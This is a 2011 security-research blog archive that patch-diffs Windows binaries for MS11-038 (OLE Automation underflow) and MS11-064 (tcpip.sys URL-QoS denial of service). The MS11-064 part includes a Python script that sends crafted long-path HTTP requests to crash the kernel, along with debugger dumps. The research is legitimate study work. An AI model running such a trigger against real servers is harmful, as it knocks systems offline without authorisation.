Monthly Archives: September 2011

MS11-038 : Vulnerability in OLE Automation Could Allow Remote Code Execution (2476490)

Related CVEs

OLE Automation Underflow Vulnerability – CVE-2011-0658

Diffing Binary Information

oleaut32.dll: 6.1.7600.16385 VS 6.1.7600.16722 (on Windows 7)

Descriptions

By running Darungrim, we have different function list below.

After playing around with these functions, I’ve found the interesting new blocks in “_PictLoadMetaFileRaw()”.

(If you google this function name, then you’ll find the vulnerability report for MS11-038, which says there’s integer overflow issues in this function. I should have googled first to save my time !!)

Yeah, this is what we exactly wanted to find. New conditional branches are added, and it seems interesting because 1) it’s compared with the constant value which is one of the common patch routines, and 2) arg8 is subtracted before being compared (hopefully integer overflow or underflow ??).

Probably this is a integer overflow patch. Let’s look at more details by tracing arg8 variable.

.text:6FC956DC                 mov     ecx, [ebp+arg_8]
.text:6FC956DF                 cmp     ecx, 12h
.text:6FC956E2                 jl      loc_6FC95856
.text:6FC956E8                 lea     eax, [ecx+14h]
.text:6FC956EB                 cmp     eax, ecx
.text:6FC956ED                 jle     loc_6FC95856
.text:6FC956F3                 push    eax             ; dwBytes
.text:6FC956F4                 push    42h             ; uFlags
.text:6FC956F6                 call    ds:__imp__GlobalAlloc@8 ; GlobalAlloc(x,x)
.text:6FC956FC                 mov     [ebp+hMem], eax

Hummm… Before getting to that new branch, there’s memory allocation routine and the size argument of this is computed using arg8.

if ( arg8 < 0x12) goto ERROR (loc_6FC95856)
if( arg8 +0x14 <= arg8) goto ERROR (loc_6FC95856)
GlobalAlloc( 0x42, arg8+0x14)

Seems like there’s already integer overflow detection routine, so what can we do more with this ? (note that this routine is the same in the before & after binary)

.text:6FC95783                 sub     [ebp+arg_8], 14h
.text:6FC95787                 add     ebx, 14h
.text:6FC9578A                 jmp     short loc_6FC957EE
.text:6FC957EE loc_6FC957EE:                           ; CODE XREF: _PictLoadMetaFileRaw(CPicture *,IStream *,long,RECTS *)+7Aj
.text:6FC957EE                 mov     edi, [ebp+var_8]
.text:6FC957F1                 lea     esi, [ebp+var_24]
.text:6FC957F4                 movsd
.text:6FC957F5                 movsd
.text:6FC957F6                 movsd
.text:6FC957F7                 movsd
.text:6FC957F8                 movsw
.text:6FC957FA                 mov     esi, [ebp+arg_8]
.text:6FC957FD                 lea     eax, [esi-12h]
.text:6FC95800                 push    eax             ; unsigned __int32
.text:6FC95801                 push    ebx             ; void *
.text:6FC95802                 push    [ebp+arg_4]     ; struct IStream *
.text:6FC95805                 call    ?HrRead@@YGJPAUIStream@@PAXK@Z ; HrRead(IStream *,void *,ulong)

This seems like HrRead( xxxx, xxxx, arg8-0x14-0x12). OHH?? Wait a moment. New branch block tried to assert “(arg8-0x14) > 0x12”.
Then, if 0x12 <= arg8 <= 0x26 (we really need to have a constraint solver!), we can trigger integer underflow on “lea eax, [esi-12h]”, which could unexpectedly lead to a huge value.

Exploitability
Good luck guys. It should be fun ! But¬†I would rather work on next patch Tuesday ūüôā

Messages to fuzzer developers
Simply putting critical values like 0xff, 0x80 and 0x00 would be no good anymore because everybody has done this already. As you can see in this vulnerability, we should put some arbitrary values in the length field to raise the exception, which requires to explore whole 1/2/4 bytes space. It’s time to consider using ‘constraint solvers’ to find better critical values.

Advertisements

MS11-064 : Vulnerabilities in TCP/IP Stack Could Allow Denial of Service (2563894)

Updates on 9/9/2011

More detailed analysis & exploits (it’s ¬†successful only one time though)

Related CVEs

  • TCP/IP QOS Denial of Service Vulnerability – CVE-2011-1965
  • ICMP Denial of Service Vulnerability – CVE-2011-1871
Binary version information
  • Before – tcpip.sys 6.1.7601.17603 (win7sp1_gdr.110424-1504)
  • After – tcpip.sys 6.1.7601.17638 (win7sp1_gdr.110620-1602)

Descriptions
Upon running two tcpip.sys binaries, DG shows five different functions.

Based on the function name itself, it seems quite obvious that _EQoSAllocateHkeUrlSearch@20 is related to CVE-2011-1965 and _Icmpv4ReceiveDatagrams@4 is related to CVE-2011-1871.

Let’s take a look at the descriptions of CVE-2011-1965.

By sending a request with a specially crafted URL, an
unauthenticated, remote attacker may be able to cause
the affected host to stop responding and automatically
reboot if it is serving web content and has URL-based
QoS (Quality of Service) enabled. (CVE-2011-1965)

Surprisingly _EQoSAllocateHkeUrlSearch@20 has only one block change.

The only difference is that ‘add cx, cx’ is removed in new version.¬†I guess this is because the field [esi+4] was assumed to have unicode string length, but it was not.¬†Because of this ‘add cx,cx’, integer overflow could be triggered (and possibly trigger integer underflow on ‘sub cx, [esi+0ch]’) and I suspect this overflow issue leads Denial of Service later.

After spending sometime, we figured out how to trigger this routine and how to work this out.

GET /foo/bar.html HTTP/1.1

HOST: http://www.darungrim.com

If the windows receives the HTTP requests like above, http.sys parses the HTTP request header and builds up the full URL and passes this information to ‘tcpip.sys’. (remember, this is all happening inside the kernel ! ).¬†Register ‘esi’ actually points to the url structure, which is initialized by http!UlpHkeInitializeUrl.¬†The layout of the structure is described below.

[esi+0] fullUrlLen (word) (counted as multibyte characters)

[esi+4] subUrlLen (word)  (counted as multibyte characters)

[esi+c] pFullUrlBuffer (dword) // pointer to¬†“http://www.darungrim.com:80/foo/bar.html&#8221; ¬†(unicode string)

[esi+14] pSubUrlBuffer (dword) // pointer to “/foo/bar.html” (unicode string)

Thus [ebp+arg_c] will be computed like this. [ebp+arg_c] = subUrlLen + subUrlLen РpFullUrlBuffer + pSubUrlBuffer.  Because there is overflow issues, [ebp+arg-c] could be assigned with the unexpected value. Finally, this [ebp+arg_c] will be used as a size argument of memcpy() call.

.text:000CC118                 mov     eax, [ebp+var_4]
.text:000CC11B                 and     eax, 0FFFFFFFCh
.text:000CC11E                 mov     [edi+18h], ebx
.text:000CC121                 add     ebx, eax
.text:000CC123                 movzx   eax, word ptr [ebp+arg_C]
.text:000CC127                 push    eax             ; size_t
.text:000CC128                 push    dword ptr [esi+0Ch] ; void *
.text:000CC12B                 push    ebx             ; void *
.text:000CC12C                 call    _memcpy

Exploitability

So far, we do not have POC. To trigger this vulnerability, the victim server should turn on ‘url-based QOS’, which is a part of ‘policy based QoS’ techniques in Windows 7 / Windows 2008, and also need to turn on the web server (probably it should be IIS?). A simple HTTP request to the server triggers the codes which is very close to the vulnerable routine. (Any comments are always welcomed !)

Though we’ve seen the blue screen only one time (OMG ! yeah we cannot repeat this), we got the crushdump which might be enough to confirm the vulnerability.

Here’s the exploit codes (remember ! this exploit worked only once, but it is good enough to trigger vulnerable routine so that you guys can try this on your own)

import struct
import socket

HOST = "localhost" # yeah, we've tried this as a local kernel exploit -:)
PORT= 80

def tryOnce(i,j):
    print hex(i), hex(j)
    filename = ["a"*0x100 for x in range(i)]

    filename = "/".join(filename)
    filename += "/" + "b" * j
    print "filename len : ", hex(len(filename))

    hostname = "www.darungrim.org"
    
    header = "GET /%s\n" % filename
    header += "HOST: %s\n\n\n" % hostname

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST,PORT))
    s.send(header)
    response = s.recv(1024)
    s.close()
    print response
    return

if __name__ == '__main__':
    tryOnce(0x3c,0x7)

    

kd>
tcpip!EQoSAllocateHkeUrlSearch+0x8d:
870cc0aa 6603c9          add     cx,cx
kd> r
eax=00000020 ebx=841ecfb0 ecx=00007888 edx=870f1aa2 esi=9166b80c edi=9166b7c0
eip=870cc0aa esp=9166b770 ebp=9166b798 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202
tcpip!EQoSAllocateHkeUrlSearch+0x8d:
870cc0aa 6603c9          add     cx,cx
kd> dd esi
9166b80c  001278ae 90847888 85e00050 84345000
9166b81c  8434500e 84345026 00000000 8609c020
9166b82c  8620a910 841ecf78 848f2f28 9166b854
9166b83c  9082a21a 85e0f008 9166b85c 841ec008
9166b84c  841eb008 00000000 9166b968 9085955a
9166b85c  85e0f0b0 841ec050 00000001 00000000
9166b86c  00000001 00000000 841eb008 9082afa1
9166b87c  841ec008 00000000 00000000 01e23583
kd> dc 84345000
84345000  00740068 00700074 002f003a 0031002f  h.t.t.p.:././.1.
84345010  00370032 0030002e 0030002e 0031002e  2.7...0...0...1.
84345020  0038003a 002f0030 00610061 00610061  :.8.0./.a.a.a.a.
84345030  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345040  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345050  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345060  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345070  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
kd> dc 84345026
84345026  0061002f 00610061 00610061 00610061  /.a.a.a.a.a.a.a.
84345036  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345046  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345056  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345066  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345076  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345086  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345096  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
Here's crashdump status. (using the exploit codes above, but still we puzzled why it's not working anymore. it might be because of heap status ???)
kd> r
eax=8294917c ebx=00000000 ecx=000000a8 edx=00000000 esi=8293bd20 edi=00000000
eip=828978e3 esp=93f37648 ebp=93f376c8 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000206
nt!MmAccessFault+0x106:
828978e3 cc              int     3
kd> u .
nt!MmAccessFault+0x106:
828978e3 cc              int     3
828978e4 8b06            mov     eax,dword ptr [esi]
828978e6 8b5e04          mov     ebx,dword ptr [esi+4]
828978e9 8b7d08          mov     edi,dword ptr [ebp+8]
828978ec 897c2424        mov     dword ptr [esp+24h],edi
828978f0 8364242401      and     dword ptr [esp+24h],1
828978f5 743d            je      nt!MmAccessFault+0x156 (82897934)
828978f7 8bd0            mov     edx,eax
kd> k v
ChildEBP RetAddr  Args to Child
93f376c8 828585f8 00000000 863d4000 00000000 nt!MmAccessFault+0x106
93f376c8 828507d3 00000000 863d4000 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ 93f376e0)
93f3775c 870f4131 84e6d020 863cc000 0000f136 nt!memcpy+0x33
93f37798 870f8463 00000020 84f6e168 845f69dc tcpip!EQoSAllocateHkeUrlSearch+0x114 (FPO: [Non-Fpo])
93f377dc 9064ccc7 93f3780c 845f69dc ffffffff tcpip!EQoSHkeAcquireQoS+0x62 (FPO: [Non-Fpo])
93f37838 9061f21a 845f6990 93f3785c 84279008 HTTP!UlHkeAcquireQoS+0x1c2 (FPO: [Non-Fpo])
93f37854 9064e55a 845f6a38 84279050 00000001 HTTP!UlSendData+0x54 (FPO: [Non-Fpo])
93f37968 9065b0c9 0041b5d4 93f37af4 93f379b4 HTTP!UlFastSendHttpResponse+0x925 (FPO: [Non-Fpo])
93f37be8 906190cc 85e1ba00 85e1badc 85d7f1e8 HTTP!UlSendHttpResponseIoctl+0x4cb (FPO: [Non-Fpo])
93f37bfc 8284e4bc 85d7f1e8 85e1ba00 85e1ba00 HTTP!UlDeviceControl+0x39 (FPO: [Non-Fpo])
93f37c14 82a4feee 853ad930 85e1ba00 85e1badc nt!IofCallDriver+0x63
93f37c34 82a6ccd1 85d7f1e8 853ad930 00000000 nt!IopSynchronousServiceTail+0x1f8
93f37cd0 82a6f4ac 85d7f1e8 85e1ba00 00000000 nt!IopXxxControlFile+0x6aa
93f37d04 8285542a 0000023c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
93f37d04 778a64f4 0000023c 00000000 00000000 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 93f37d34)
WARNING: Frame IP not in any known module. Following frames may be wrong.
011af4b8 00000000 00000000 00000000 00000000 0x778a64f4